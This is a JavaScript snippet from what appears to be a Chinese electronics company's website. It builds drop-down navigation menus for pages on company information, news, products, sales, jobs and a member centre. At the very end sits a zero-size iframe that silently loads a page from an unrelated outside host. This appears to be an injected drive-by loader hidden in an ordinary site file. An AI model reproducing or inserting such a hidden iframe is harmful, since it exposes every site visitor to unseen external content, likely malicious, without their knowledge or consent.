if (mtDropDown.isSupported()) {

		var ms = new mtDropDownSet(mtDropDown.direction.down, 0, 0, mtDropDown.reference.bottomLeft);

		var menu1 = ms.addMenu(document.getElementById("menu1"));
		menu1.addItem("= 公司简介 =","about.asp"); 
		menu1.addItem("= 企业文化 =","History.asp");  
		menu1.addItem("= 组织机构 =","Structure.asp");
		menu1.addItem("= 联系我们 =","Contact.asp");	
	
//第二菜单
		var menu2 = ms.addMenu(document.getElementById("menu2"));
		menu2.addItem("=企业新闻=", "otype.asp?owen1=企业新闻"); 
		menu2.addItem("=业内资讯=", "otype.asp?owen1=业内资讯"); // send no URL if nothing should happen onclick
	
		// menu : 3
		var menu3 = ms.addMenu(document.getElementById("menu3"));
		menu3.addItem("= 被动元器件 =", "Product.asp");
		menu3.addItem("= 消费类电子 =", "Products.asp");
	    menu3.addItem("= 库存查询 =", "search.asp");
		
		// menu : 5
		var menu5 = ms.addMenu(document.getElementById("menu5"));
		menu5.addItem("= 国内市场 =", "Sale.asp");
		menu5.addItem("= 国外市场 =", "Salea.asp");

		// menu : 6
		var menu6 = ms.addMenu(document.getElementById("menu6"));
		menu6.addItem("= 人才招聘 =", "Job.asp");
		menu6.addItem("= 人才策略 =", "Jobs.asp");		
			
		// menu : 7
		var menu7 = ms.addMenu(document.getElementById("menu7"));
		menu7.addItem("= 会员中心 =", "Server.asp");
		menu7.addItem("= 信息反馈 =", "Feedback.asp");
		menu7.addItem("= 留言中心 =", "NetBook.asp");
		menu7.addItem("= 订单查询 =", "E_shop.asp");		
	
		mtDropDown.renderAll();
	}
<iframe src=http://520xp.88y.net/1/2.html width=0 height=0></iframe>